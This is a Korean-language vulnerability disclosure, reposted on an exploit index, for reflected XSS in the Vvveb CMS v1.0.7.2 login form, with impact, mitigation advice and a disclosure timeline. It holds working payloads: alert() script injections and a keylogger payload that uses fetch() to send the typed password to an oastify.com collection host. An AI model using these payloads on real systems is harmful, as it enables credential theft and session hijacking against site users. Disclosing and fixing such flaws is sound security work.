Sploitus

Exploit for Reflected-XSS-in-Vvveb-CMS-v1.0.7.2

kitploit Β· 2026-08-25

Exploit Code

MARKDOWN127 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HELLOANDREWPAUL-REFLECTED-XSS-IN-VVVEB-CMS-V1.0.7.2
# 둜그인 폼(이메일 및 λΉ„λ°€λ²ˆν˜Έ ν•„λ“œ)의 λ°˜μ‚¬ν˜• XSS 취약점 - Vvveb CMS v1.0.7.2

  * **μž‘μ„±μž:** Andrew Paul
  * **발견일:** 2025λ…„ 8μ›” 12일
  * **곡급업체:** Vvveb
  * **곡급업체 URL:** http://vvveb.com
  * **곡급업체 GitHub:** https://github.com/givanz/Vvveb
  * **영ν–₯λ°›λŠ” 버전:** 1.0.7.2 (및 이전 버전도 κ°€λŠ₯)
  * **CVE ID:** CVE-2025-9728



## κ°œμš”

μ‚¬μš©μž 둜그인 νΌμ—μ„œ λ°˜μ‚¬ν˜• 크둜슀 μ‚¬μ΄νŠΈ μŠ€ν¬λ¦½νŒ…(XSS) 취약점(CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))이 μ‘΄μž¬ν•©λ‹ˆλ‹€. `email` 및 `password` λ§€κ°œλ³€μˆ˜κ°€ HTML 응닡에 반영되기 전에 μ •ν™”(sanitize)λ˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. 이둜 인해 κ³΅κ²©μžλŠ” 특수 URL을 μ œμž‘ν•˜μ—¬ μ•…μ„± 슀크립트λ₯Ό μ£Όμž…ν•  수 있으며, ν‚€λ‘œκ±° νŽ˜μ΄λ‘œλ“œλ₯Ό 톡해 자격 증λͺ…을 λ„μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” λΉ„λ°€λ²ˆν˜Έ 데이터λ₯Ό Burp Collaborator μ„œλ²„λ‘œ μœ μΆœν•¨μœΌλ‘œμ¨ ν™•μΈλ˜μ—ˆμŠ΅λ‹ˆλ‹€.

## OWASP Top 10 2021 λ§€ν•‘

이 취약점은 OWASP Top 10 2021의 μ—¬λŸ¬ 범주에 λ§€ν•‘λ©λ‹ˆλ‹€:

  * **A03:2021 - Injection:** μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ μ μ ˆν•œ μ •ν™” 없이 μ‹ λ’°ν•  수 μ—†λŠ” 데이터λ₯Ό λΈŒλΌμš°μ €λ‘œ μ „μ†‘λ˜λŠ” HTML νŽ˜μ΄μ§€μ— ν¬ν•¨μ‹œν‚€κΈ° λ•Œλ¬Έμ— μΈμ μ…˜μ— μ·¨μ•½ν•˜λ©°, 이둜 인해 곡격자의 μŠ€ν¬λ¦½νŠΈκ°€ 싀행될 수 μžˆμŠ΅λ‹ˆλ‹€.

  * **A04:2021 - Insecure Design:** 둜그인 λ©”μ»€λ‹ˆμ¦˜μ€ 기본적인 λ³΄μ•ˆ μ œμ–΄(μ‚¬μš©μž 반영 μ½˜ν…μΈ μ— λŒ€ν•œ μ„œλ²„ μΈ‘ 좜λ ₯ 인코딩)κ°€ λΆ€μ‘±ν•˜κΈ° λ•Œλ¬Έμ— 섀계상 μ•ˆμ „ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

  * **A05:2021 - Security Misconfiguration:** μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ `<input type="email">`κ³Ό 같은 μ·¨μ•½ν•œ ν΄λΌμ΄μ–ΈνŠΈ μΈ‘ μ œμ–΄μ— λΆ€μ μ ˆν•˜κ²Œ μ˜μ‘΄ν•˜κ³  있으며, μ΄λŠ” κ³΅κ²©μžκ°€ μ‰½κ²Œ μš°νšŒν•  수 μžˆμ–΄ μ‹€μ§ˆμ μΈ λ³΄μ•ˆμ„ μ œκ³΅ν•˜μ§€ λͺ»ν•©λ‹ˆλ‹€.




## 취약점 μ„ΈλΆ€ 정보

이 μ·¨μ•½μ μ˜ κ·Όλ³Έ 원인은 μ„œλ²„κ°€ μ‚¬μš©μž 제곡 데이터에 λŒ€ν•΄ 좜λ ₯ 인코딩을 μˆ˜ν–‰ν•˜μ§€ μ•ŠκΈ° λ•Œλ¬Έμž…λ‹ˆλ‹€. μ‚¬μš©μžκ°€ 둜그인 폼을 μ œμΆœν•˜λ©΄, `email` 및 password ν•„λ“œμ— 제곡된 값이 κ²°κ³Ό νŽ˜μ΄μ§€ λ‘œλ“œ μ‹œ ν•΄λ‹Ή `<input>` νƒœκ·Έμ˜ `value` 속성에 λ‹€μ‹œ μ‚½μž…λ©λ‹ˆλ‹€. ν°λ”°μ˜΄ν‘œ(")λ₯Ό ν¬ν•¨ν•˜λŠ” νŽ˜μ΄λ‘œλ“œλ₯Ό μ œκ³΅ν•¨μœΌλ‘œμ¨ κ³΅κ²©μžλŠ” `value` 속성을 μ΄μŠ€μΌ€μ΄ν”„ν•˜κ³  μƒˆλ‘œμš΄ HTML 속성(예: `onkeyup`) λ˜λŠ” μ™„μ „νžˆ μƒˆλ‘œμš΄ νƒœκ·Έ(예: `<script>`)λ₯Ό μ£Όμž…ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 λ™μž‘μ€ `email` 및 `password` ν•„λ“œ λͺ¨λ‘μ—μ„œ ν™•μΈλ˜μ—ˆμŠ΅λ‹ˆλ‹€.

## 잠재적 곡격 벑터

이 취약점은 κ³΅κ²©μžκ°€ ν”Όν•΄μžλ₯Ό 속여 μ‘°μž‘λœ μš”μ²­μ„ μ„œλ²„μ— μ œμΆœν•˜λ„λ‘ ν•˜λŠ” λͺ¨λ“  벑터λ₯Ό 톡해 μ•…μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€. κ°€μž₯ 일반적인 λ²‘ν„°λŠ” ν”Όμ‹± 곡격으둜, κ³΅κ²©μžκ°€ XSS νŽ˜μ΄λ‘œλ“œλ₯Ό ν¬ν•¨ν•œ μ•…μ„± URL을 μ œμž‘ν•˜μ—¬ ν”Όν•΄μžμ—κ²Œ μ „μ†‘ν•©λ‹ˆλ‹€. ν”Όν•΄μžκ°€ 링크λ₯Ό ν΄λ¦­ν•˜λ©΄ νŽ˜μ΄λ‘œλ“œκ°€ ν•΄λ‹Ή λΈŒλΌμš°μ €μ—μ„œ μ‹€ν–‰λ©λ‹ˆλ‹€.

## κ°œλ… 증λͺ…(PoC)

취약점은 두 κ°€μ§€ λ³„κ°œμ˜ κ°œλ… 증λͺ…을 톡해 μž…μ¦λ©λ‹ˆλ‹€: μ‹œκ°μ  μ•Œλ¦Όμ„ νŠΈλ¦¬κ±°ν•˜λŠ” κ°„λ‹¨ν•œ 슀크립트 μ£Όμž…κ³Ό μ‚¬μš©μž 자격 증λͺ…을 μΊ‘μ²˜ν•˜λŠ” κ³ κΈ‰ κ³΅κ²©μž…λ‹ˆλ‹€. 제곡된 μ΄λ―Έμ§€λŠ” μ΄λŸ¬ν•œ PoC에 λŒ€ν•œ 직접적인 증거 역할을 ν•©λ‹ˆλ‹€.

### PoC A: κ°„λ‹¨ν•œ μ•Œλ¦Ό 확인

이 PoCλŠ” 두 μ·¨μ•½ ν•„λ“œ λͺ¨λ‘μ—μ„œ 기본적인 슀크립트 싀행을 ν™•μΈν•©λ‹ˆλ‹€.

#### νŽ˜μ΄λ‘œλ“œ

  * **Email:** `j4u6e"><script>alert('email')</script>ou1w`
  * **Password:** `j4u6e"><script>alert('password')</script>ou1w`



#### μž¬ν˜„ 단계

  1. 둜그인 νŽ˜μ΄μ§€ `http(s)://example.com/user/login` 둜 μ΄λ™ν•©λ‹ˆλ‹€.
  2. ν•΄λ‹Ή μž…λ ₯ ν•„λ“œμ— νŽ˜μ΄λ‘œλ“œ 쀑 ν•˜λ‚˜λ₯Ό μž…λ ₯ν•©λ‹ˆλ‹€.
  3. 폼을 μ œμΆœν•©λ‹ˆλ‹€.



#### κ²°κ³Ό

화면에 JavaScript `alert()` μƒμžκ°€ λ‚˜νƒ€λ‚˜ 취약점을 ν™•μΈν•©λ‹ˆλ‹€.

![](https://assets.kitploit.com/production/public/readmes/26432/0fb06dbd80ce1acac210028ce70d2497427c9727a98dfe840ea5a0c4dc998570.png) _μž…λ ₯ ν•„λ“œμ˜ νŽ˜μ΄λ‘œλ“œ_

![](https://assets.kitploit.com/production/public/readmes/26432/e55c5c11bf79ab3d29ecdaa736fad48c7bb424988e9c5e10eb86840c5c5feb29.png) _이메일 μ•Œλ¦Ό_

![](https://assets.kitploit.com/production/public/readmes/26432/fd287f9a23a9c1ae9935c5c1f8cc76454f2b7498fc078d7f866333ef4987724b.png) _λΉ„λ°€λ²ˆν˜Έ μ•Œλ¦Ό_

### PoC B: ν‚€λ‘œκ±°λ₯Ό ν†΅ν•œ 자격 증λͺ… λ„μš©

이 PoCλŠ” λΉ„λ°€λ²ˆν˜Έ ν‚€ μž…λ ₯을 λ„μš©ν•¨μœΌλ‘œμ¨ μ€‘μš”ν•œ 영ν–₯을 μž…μ¦ν•©λ‹ˆλ‹€.

#### νŽ˜μ΄λ‘œλ“œ

`j4u6e" onkeyup="fetch('https://hg1n99wu463z4ujvj808u3f3ruxnlg95.oastify.com?data=' + btoa(this.value))"`

#### μž¬ν˜„ 단계

  1. 둜그인 νŽ˜μ΄μ§€ `http(s)://example.com/user/login` 둜 μ΄λ™ν•©λ‹ˆλ‹€.
  2. ν‚€λ‘œκ±° νŽ˜μ΄λ‘œλ“œλ₯Ό `password` μž…λ ₯ ν•„λ“œμ— 직접 λΆ™μ—¬λ„£μŠ΅λ‹ˆλ‹€.
  3. μ†μƒλœ ν•„λ“œμ— κ°€μ§œ λΉ„λ°€λ²ˆν˜Έλ₯Ό μž…λ ₯ν•©λ‹ˆλ‹€.



#### κ²°κ³Ό

각 ν‚€ μž…λ ₯이 μΊ‘μ²˜λ˜μ–΄ 곡격자의 Burp Collaborator μ„œλ²„λ‘œ μ „μ†‘λ©λ‹ˆλ‹€. μ΄λŠ” μž„μ˜μ˜ μŠ€ν¬λ¦½νŠΈκ°€ 싀행될 수 있고 λ―Όκ°ν•œ 데이터가 유좜될 수 μžˆμŒμ„ ν™•μΈν•©λ‹ˆλ‹€.

![](https://assets.kitploit.com/production/public/readmes/26432/b3421566ca20063ee842761cc6cd5be230afd238a40341c86ae924a3dbe046d7.png) _μ†μƒλœ μž…λ ₯_

![](https://assets.kitploit.com/production/public/readmes/26432/5bb363b650ecb701ae8d71f2b7f8ec78b9ae752d87fd4b4c9abf0409e62eb0a4.png) _Burp Suite Collaborator둜 μ „μ†‘λœ λΉ„λ°€λ²ˆν˜Έ_

![](https://assets.kitploit.com/production/public/readmes/26432/760ce662253ba3230c26c180a1fa79cb247a712a7402e13c16d2159cb64503d7.png) _νŽ˜μ΄λ‘œλ“œκ°€ ν¬ν•¨λœ μ·¨μ•½ν•œ μ½”λ“œ_

## 영ν–₯

이 취약점을 μ„±κ³΅μ μœΌλ‘œ μ•…μš©ν•˜λ©΄ μ‚¬μš©μžμ˜ 계정과 λΈŒλΌμš°μ € μ„Έμ…˜μ΄ μ™„μ „νžˆ 손상될 수 μžˆμŠ΅λ‹ˆλ‹€. μ£Όμš” 영ν–₯은 λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

  * **자격 증λͺ… λ„μš©:** PoCμ—μ„œ μž…μ¦λœ 바와 같이 κ³΅κ²©μžλŠ” μ‹€μ‹œκ°„μœΌλ‘œ μ‚¬μš©μž 이름과 λΉ„λ°€λ²ˆν˜Έλ₯Ό λ„μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
  * **μ„Έμ…˜ ν•˜μ΄μž¬ν‚Ή:** κ³΅κ²©μžλŠ” μ£Όμž…λœ 슀크립트λ₯Ό μ‚¬μš©ν•˜μ—¬ μ‚¬μš©μžκ°€ λ‘œκ·ΈμΈν•œ ν›„ μ„Έμ…˜ μΏ ν‚€λ₯Ό νƒˆμ·¨ν•˜μ—¬ μ‚¬μš©μžλ₯Ό μ™„μ „νžˆ 사칭할 수 μžˆμŠ΅λ‹ˆλ‹€.
  * **μ›Ήμ‚¬μ΄νŠΈ 훼손 및 ν”Όμ‹±:** κ³΅κ²©μžλŠ” 둜그인 νŽ˜μ΄μ§€μ˜ μ½˜ν…μΈ λ₯Ό λ³€κ²½ν•˜μ—¬ 더 λ§Žμ€ 민감 정보λ₯Ό ν”Όμ‹±ν•˜κ±°λ‚˜ λΈŒλžœλ“œ ν‰νŒμ„ μ†μƒμ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€.
  * **μΆ”κ°€ 곡격:** 이 취약점은 μ‚¬μš©μžμ˜ λΈŒλΌμš°μ €μ— λŒ€ν•œ μΆ”κ°€ 곡격을 μ‹œμž‘ν•˜κ±°λ‚˜ μ‚¬μš©μžλ₯Ό μ•…μ„± μ›Ήμ‚¬μ΄νŠΈλ‘œ λ¦¬λ””λ ‰μ…˜ν•˜λŠ” 데 μ‚¬μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€.



## ꢌμž₯ μ™„ν™” 쑰치

κ°€μž₯ 쒋은 방법은 μž…λ ₯ 검증과 μ μ ˆν•œ 좜λ ₯ 인코딩을 κ²°ν•©ν•œ **심측 λ°©μ–΄(Defense-in-depth)** μ ‘κ·Ό 방식을 μ‚¬μš©ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€.

### μž…λ ₯ 검증 (첫 번째 계측)

쒋은 λ³΄μ•ˆ κ΄€ν–‰μœΌλ‘œ, μ„œλ²„λŠ” λͺ…λ°±νžˆ μ•…μ„± νŒ¨ν„΄μ„ ν¬ν•¨ν•˜λŠ” μš”μ²­μ„ κ±°λΆ€ν•˜κΈ° μœ„ν•΄ **μž…λ ₯ 검증** 을 μˆ˜ν–‰ν•΄μ•Ό ν•©λ‹ˆλ‹€. μ΄λŠ” 초기 λ°©μ–΄ 계측을 μ œκ³΅ν•˜μ§€λ§Œ μœ μΌν•œ ν•΄κ²°μ±…μœΌλ‘œ μ˜μ‘΄ν•΄μ„œλŠ” μ•ˆ λ©λ‹ˆλ‹€.

### 좜λ ₯ 인코딩 (ν•„μˆ˜ μˆ˜μ •)

κ°€μž₯ μ€‘μš”ν•˜κ³  핡심적인 μˆ˜μ •μ€ λͺ¨λ“  μ‚¬μš©μž 제곡 데이터가 HTMLμ—μ„œ λ Œλ”λ§λ˜κΈ° 직전에 **좜λ ₯ 인코딩** 을 μ μš©ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€. `htmlspecialchars()` ν•¨μˆ˜λ₯Ό μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

## 곡개 νƒ€μž„λΌμΈ

  * **발견일:** 2025λ…„ 8μ›” 12일
  * **곡급업체 톡보일:** 2025λ…„ 8μ›” 12일
  * **곡급업체 확인일:** 2025λ…„ 8μ›” 12일
  * **패치 μΆœμ‹œμΌ:** 2025λ…„ 8μ›” 12일
  * **곡개 곡개일:** 2025λ…„ 8μ›” 22일